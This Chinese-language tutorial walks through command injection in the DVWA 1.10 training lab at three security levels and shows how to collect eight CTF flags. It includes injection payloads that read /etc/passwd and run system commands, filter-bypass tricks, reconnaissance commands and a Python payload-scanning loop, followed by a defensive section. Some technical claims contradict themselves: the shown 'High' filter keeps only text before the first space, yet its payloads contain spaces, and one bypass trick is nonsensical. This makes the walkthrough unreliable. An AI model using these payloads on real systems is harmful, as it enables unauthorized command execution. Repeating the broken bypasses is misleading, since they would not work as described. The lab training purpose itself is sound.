DVWA 1.10 命令注入实战:3种难度绕过与 8 个 Flag 获取全流程解析

📅 2026/7/12 7:06:31 👁️ 阅读次数 📝 编程学习
DVWA 1.10 命令注入实战:3种难度绕过与 8 个 Flag 获取全流程解析

DVWA 1.10 命令注入实战:从基础绕过到高级利用的完整指南

在网络安全领域,命令注入(Command Injection)始终是Web应用安全测试中的核心课题之一。作为渗透测试人员或CTF选手,掌握不同安全等级下的命令注入技巧不仅能帮助我们发现系统漏洞,更能深入理解防御机制的演变逻辑。本文将基于DVWA 1.10靶场,系统剖析Low/Medium/High三种安全等级的命令注入场景,通过8个实战Flag的获取过程,揭示命令注入的本质原理与进阶技巧。

1. 环境搭建与基础准备

DVWA(Damn Vulnerable Web Application)是专为安全测试设计的PHP/MySQL应用,其模块化的漏洞设计允许我们自由调整安全等级。以下是环境配置的关键步骤:

# 使用Docker快速部署DVWA 1.10 docker run --rm -it -p 8080:80 vulnerables/web-dvwa

访问http://localhost:8080后,需完成以下初始化操作:

  1. 点击"Create/Reset Database"按钮初始化数据库
  2. 使用默认凭证登录(admin/password)
  3. 在"DVWA Security"页面调整安全等级

提示:实验前建议配置PHP的display_errors为On,便于观察报错信息

必要工具准备

  • Burp Suite:拦截和修改HTTP请求
  • curl:快速测试命令注入点
  • netcat:建立反向Shell连接
  • Python SimpleHTTPServer:临时文件传输

2. Low安全等级:无防护的原始战场

在Low级别下,DVWA未对用户输入做任何过滤。以ping功能为例,观察基础注入模式:

// 原始PHP代码片段 $target = $_REQUEST['ip']; system("ping -c 4 $target");

Flag 1获取:提交127.0.0.1后,返回结果的第一个单词即为Flag。这里演示的是最基本的命令执行功能。

多命令注入技巧

  • 分号分隔:127.0.0.1; whoami
  • 管道符:127.0.0.1 | cat /etc/passwd
  • 逻辑运算符:127.0.0.1 && uname -a

Flag 2获取:构造显示系统用户的Payload,提交127.0.0.1; cat /etc/passwd,其中; cat /etc/passwd即为Flag值。

3. Medium安全等级:初阶防御与绕过

切换到Medium级别后,代码增加了基础过滤:

$target = str_replace(";", "", $_REQUEST['ip']); system("ping -c 4 $target");

防御分析

  • 移除所有分号字符
  • 未处理其他命令分隔符

有效绕过方式

  • 使用&替代:127.0.0.1 & whoami
  • 换行符注入:127.0.0.1%0aid
  • 反引号执行:127.0.0.1 `uname -a`

Flag 3获取:提交127.0.0.1 & cat /etc/passwd后,观察报错信息的倒数第二个单词。

Flag 4获取:查看源码,防御措施以F1.F2格式提交(示例:str_replace.分号)。

4. High安全等级:复合过滤与深度绕过

High级别采用多层过滤机制:

$target = stripslashes($_REQUEST['ip']); $target = explode(" ", $target); $target = $target[0]; system("ping -c 4 $target");

防御机制解析

  1. 去除转义字符
  2. 按空格分割输入
  3. 只取第一个片段

高级绕过策略

  • 参数注入:127.0.0.1 -c 1; whoami
  • 环境变量注入:127.0.0.1$IFS$(whoami)
  • 编码绕过:127.0.0.1%0a$(echo${IFS}"payload")

Flag 5获取:通过127.0.0.1 -c 1; cat /etc/passwd获取用户列表,提交-c 1; cat /etc/passwd部分。

Flag 6获取:分析源码,第三个过滤内容为explode函数。

5. 黑名单绕过艺术

当遇到严格命令限制时,可尝试以下技巧:

字符替换技术

# Python生成替代字符 print("whoami".replace("w", "${substr:0:1}"))

变量拼接法

a=who; b=ami; $a$b

通配符利用

/bin/c?t /etc/passwd

Flag 7获取:使用127.0.0.1 -c 1; a=who; b=ami; $a$b,提交a=who; b=ami; $a$b

6. 数据提取与权限提升

获取Shell后,需要有效提取信息:

常用信息收集命令

# 系统信息 uname -a cat /etc/issue # 用户信息 whoami id # 网络配置 ifconfig netstat -tuln

文件系统探索技巧

# 查找配置文件 find / -name "*.conf" -type f 2>/dev/null # 搜索可写目录 find / -perm -o=w -type d 2>/dev/null

Flag 8获取:执行127.0.0.1 -c 1; tail -n 1 /etc/passwd,提交最后一个用户名。

7. 防御方案设计

基于实战经验,推荐多层防御策略:

输入验证层

// 白名单验证IP格式 if (!filter_var($ip, FILTER_VALIDATE_IP)) { die("Invalid IP format"); }

命令执行层

# Python安全示例 import subprocess subprocess.run(['ping', '-c', '4', ip], shell=False)

系统加固建议

  1. 使用最小权限账户运行Web服务
  2. 定期更新系统补丁
  3. 配置适当的SELinux策略

8. 自动化测试与工具集成

将手工测试转化为自动化流程:

使用Burp Suite Intruder

  1. 捕获正常ping请求
  2. 设置注入位置为IP参数
  3. 加载预定义的命令注入字典

Python自动化脚本示例

import requests payloads = ["; whoami", "| id", "&& uname -a"] url = "http://target.com/vulnerable.php" for p in payloads: r = requests.post(url, data={"ip": "127.0.0.1" + p}) if "www-data" in r.text: print(f"Vulnerable to: {p}")

在实际渗透测试中,命令注入漏洞的利用往往需要结合具体环境调整策略。通过DVWA的阶梯式训练,我们不仅能掌握基础技巧,更能培养面对新型防御机制时的创造性思维。